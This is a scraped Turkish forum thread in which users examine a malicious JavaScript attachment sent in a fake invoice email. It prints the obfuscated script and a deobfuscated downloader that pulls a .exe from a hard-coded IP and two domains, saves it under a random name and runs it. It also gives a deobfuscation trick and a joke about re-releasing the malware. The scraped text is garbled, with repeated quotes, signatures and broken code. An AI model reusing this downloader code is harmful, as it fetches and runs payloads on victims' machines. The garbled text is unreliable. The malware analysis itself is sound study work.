Downloader demeye gelmiştim yazmış arkadaşlar. Js içine gmüp genelde filezilla ve browserdan veri çekiyorlar byle. Aldanma insanların samimiyetine, menfaatleri için gelirler vecde, vaad etmeseydi allah cenneti, ona bile etmezlerdi secde..

Programın kaynak kodunu byle anlamsız anlamsız functionlara blüp, karşı tarafta iş yaptırma tekniğinin adı nedir? obfuscate

jfunction dl { var b = "64.239.115.111 dickinsonwrestlingclub.com idsecurednow.com". split ; downloader çıktı iyimi Bu virüsü nasıl byle okunabilir hale getirdin? Ondan çocuk olmamıştır . Kendisi de doğmamıştır . İhlas Suresi 3 üncü ayette bunlar yazar.

https://www.virustotal.com Yükle tüm antivirüsler tanısın hocam. Yaşlandıkça 50 liralık saatin ve 5.000 liralık saatin aynı şeyi gsterdiğini fark edeceksin. 1.000.000 liralık ve 100.000 liralık ev aynı yalnızlığı barındırır. 1.000 liralık Android ile 20.000 liralık iPhone Pro kimse aramadıktan sonra aynıdır. Materyalist şeylerde gerçek mutluluk bulunmaz. Asıl mutluluk bir çift memededir. Enflasyon yüzünden bu imzayı bir ara güncellemek lazım. Bin liraya telefon kalmadı amk.

jfunction dl { var b = "64.239.115.111 dickinsonwrestlingclub.com idsecurednow.com". split ; for (var i=0; i<b. length; i++) { var ws = new ActiveXObject ; var fn = ws. ExpandEnvironmentStrings +String. fromCharCode(92)+Math. round(Math. random 100000000)+". exe"; var dn = 0; var xo = new ActiveXObject("MSXML2. XMLHTTP"); xo. onreadystatechange = function { if (xo. readyState 4 && xo. status 200) { var xa = new ActiveXObject ; xa. open ; xa. type = 1; xa. write ; if (xa. size > 5000) { dn = 1; xa. position = 0; xa. saveToFile(fn,2); try catch ; }; xa. close ; }; }; try catch ; if (dn 1) break; } }; dl(4091); dl(52); dl(2543); downloader çıktı iyimi

sen zaten yazmıyor muydun? winapi kullanımını sordum hatta cevap vermedim. bunu sen yazdın anlamında demedim, şaşırmana şaşırdım Ben yazıyordum da byle şeyler yazmadım ya, gayet insancıl ve seo için şeyler yazdım :) winapi için sana pm atıcam :) mkyb bunu yazdı https://www.virustotal.com Yükle tüm antivirüsler tanısın hocam. https://www.virustotal.com/tr/file/1c126277b3767e9ecd8763ea117383e5434c4b8530d5955f63bcf92f65cd1f94/analysis/1435583433/ Yolladım hocam, sanal makinada çalıştırıcam muhtemelen cryptolocker En iyisi olmadan nce, her zaman en ktüsü olmaz mı?

Cryptolocaker dan ziyade reklam gibi bir şey. yazı çıkar büyük ihtimalle.

babayarisi bunu yazdı jfunction dl { var b = "64.239.115.111 dickinsonwrestlingclub.com idsecurednow.com". split ; downloader çıktı iyimi Bu virüsü nasıl byle okunabilir hale getirdin? Functionları For dngüsüne alıp document. print ile çok basit şekilde yapabilirsiniz En iyisi olmadan nce, her zaman en ktüsü olmaz mı?

byle parçik pinçik blünce kodları antiler tanımıyor mu Bazıları zgürlüğü sadece kendileri gibi düşünenlere reva grüyor...

Merhabalar, Az nce bir mail aldım. Adamlar fatura diye ittirmeye çalışmış. Zip'in içine js'yi çakmışlar. Function isimleri wgj223, wgj224, wgj225 diye gidiyor. Sanırım cryptolocker gibi birşey. Bakmak isteyenler için: http://paste.ubuntu.com/11792971/ Gelen mail: http://prntscr.com/7mosrz En iyisi olmadan nce, her zaman en ktüsü olmaz mı?

byle parçik pinçik blünce kodları antiler tanımıyor mu Antivirüsleri bilmem hocam da Google çok iyi tanıyor, bkz: http://prntscr.com/7mtay7 En iyisi olmadan nce, her zaman en ktüsü olmaz mı?

Biri elden geçirse güzel olur biz de salarız piyasaya :D SEVİŞİRKEN EN ZEVKLİ OLAN ŞEY.. tamam, dikkatinizi çektim. ne kadar meraklısınız byle şeylere terbiyesizliğin lüzumu yok yani :D

Programın kaynak kodunu byle anlamsız anlamsız functionlara blüp, karşı tarafta iş yaptırma tekniğinin adı nedir? Ondan çocuk olmamıştır . Kendisi de doğmamıştır . İhlas Suresi 3 üncü ayette bunlar yazar.

babayarisi bunu yazdı jfunction dl { var b = "64.239.115.111 dickinsonwrestlingclub.com idsecurednow.com". split ; downloader çıktı iyimi Bu virüsü nasıl byle okunabilir hale getirdin? var stroke = "5556505E0D0A020B240A011712054A0A0110"; function wgj171 ; function wgj35 ; function wgj215 ; function wgj228 ; function wgj61 ; function wgj151 ; function wgj167 ; function wgj10 ; function wgj231 '; }; function wgj93 ; function wgj168 ; var df = ''; function wgj203 ; function wgj83 ; function wgj54 ; function wgj123 { return ' ; function wgj53 ; function wgj133 ; function wgj185 ; '; }; function wgj99 ; function wgj223 ; function wgj25 ; function wgj207 ; function wgj27 ; function wgj166 ; function wgj189 ; function wgj208 ; function bvm ; function wgj60 ; function wgj182 ; function wgj101 ; function wgj9 ; function wgj100 ; function wgj158 ; function wgj173 { return 'ry ; function wgj26 ; function wgj24 ; function wgj156 ; function wgj73 ; function wgj128 ; function wgj57 ; function wgj194 ; function wgj191 '; }; function wgj21 ; function wgj33 ; function wgj45 ; function wgj74 ; function wgj192 ; function wgj155 ; function wgj36 ; function wgj28 ; function wgj98 ; function wgj154 ; function wgj58 ; function wgj221 '; }; function wgj88 ; function wgj235 ; function wgj7 ; function wgj136 ; function wgj174 ; function wgj157 { return ') ; function wgj199 ; function wgj124 ; function wgj195 ; function wgj162 ; function wgj23 ; function wgj80 ; function wgj62 ; function wgj161 ; function wgj51 ; function wgj42 ; function wgj239 ; function wgj71 ; function wgj20 ; function wgj134 ; function wgj148 ; function wgj196 ; function wgj3 ; function wgj205 ; function wgj146 ; function wgj77 ; function wgj15 ; function wgj187 ; function wgj125 ; function wgj69 ; function wgj139 ; function wgj84 ; function wgj90 ; function wgj65 ; function wgj222 ; function wgj218 ; function wgj17 ; function wgj4 ; function wgj115 ; function wgj122 ; function wgj219 ; function wgj234 ; function wgj47 ; function wgj165 ; function wgj96 ; function wgj135 ; function wgj206 ; function wgj6 ; function wgj153 ; function wgj202 ; function wgj68 ; function wgj175 ; function wgj152 ; function wgj109 ; function wgj119 ; function wgj183 { return ' ; function wgj150 ; function wgj41 ; function wgj164 ; function wgj2 ; function wgj70 ; function wgj216 ; function wgj141 ; function wgj163 ; function wgj64 ; function wgj188 ; function wgj142 ; function wgj29 ; function wgj193 { return 'ry ; function wgj113 ; function wgj186 ; function wgj143 ; function wgj82 ; function wgj180 ; function wgj127 ; function wgj116 ; function wgj225 { return 'r) ; function wgj198 ; function wgj137 ; function wgj86 ; function wgj79 ; function wgj227 ; function wgj46 ; function wgj212 ; function wgj237 ; function wgj14 ; function wgj91 ; function wgj132 ; function wgj108 ; function wgj ; function wgj78 ; function wgj121 ; function wgj230 ; function wgj224 ; function wgj130 ; function wgj213 ; function wgj232 ; dl'; }; function wgj149 ; function wgj120 ; function wgj112 ; function wgj40 ; function wgj217 ; function wgj1 ; function wgj238 ; function wgj172 ; function wgj118 ; function wgj209 ; function wgj104 ; function wgj229 ; function wgj140 ; function wgj204 ; function wgj30 ; function wgj72 ; function wgj39 { return ') ; function wgj126 ; function wgj31 ; function wgj178 ; function wgj236 ; function wgj67 ; function wgj179 '; }; function wgj19 ; function wgj87 ; function wgj169 ; function wgj103 ; function wgj59 ; function wgj200 ; function wgj92 ; function wgj177 ; function wgj184 ;'; }; function wgj8 ; function wgj131 ; function wgj220 ; function wgj56 ; function wgj50 ; function wgj52 ; function wgj147 ; function wgj16 ; function wgj117 ; function wgj66 ; function wgj89 ; function wgj81 ; function wgj11 ; function wgj201 ; function wgj48 ; function wgj176 ; function wgj18 ; function wgj160 ; function wgj85 ; function wgj107 ; function wgj181 ; function wgj197 ; function wgj110 ; function wgj32 ; function wgj13 ; function wgj12 ; function wgj75 ; function wgj34 ; function wgj97 ; function wgj55 ; function wgj44 ; function wgj159 ; function wgj95 ; function wgj49 ; function wgj114 ; function wgj226 ; if'; }; function wgj145 ; function wgj94 ; function wgj138 ; function wgj43 ; function wgj63 ; function wgj5 { return ' ; function wgj37 ; function wgj38 ; function wgj76 ; function wgj102 ; function wgj105 ; function wgj129 ; function wgj210 ; function wgj106 ; function wgj233 ; function wgj170 ; function wgj211 ; function wgj111 { return ' ; function wgj190 ;'; }; function wgj214 ; function wgj144 ; function wgj22 ; for (var fx = 1; fx <= 239; fx++) console. log ; Bu şekilde çalıştırırsan deobfuscate etmiş olursun hocam.

Cryptolocaker dan ziyade reklam gibi bir şey. yazı çıkar büyük ihtimalle. Aynen hocam reklam, muhtemelen grüntüleme üstüne para veren bir firmada kullanıyorlar. Get'lerde gif dosyaları iniyor zaten. Kodun açılmış hali : http://prntscr.com/7mp4ag En iyisi olmadan nce, her zaman en ktüsü olmaz mı?

sen zaten yazmıyor muydun? winapi kullanımını sordum hatta cevap vermedim. bunu sen yazdın anlamında demedim, şaşırmana şaşırdım KizilS tarafından 29/Haz/15 16:08 tarihinde düzenlenmiştir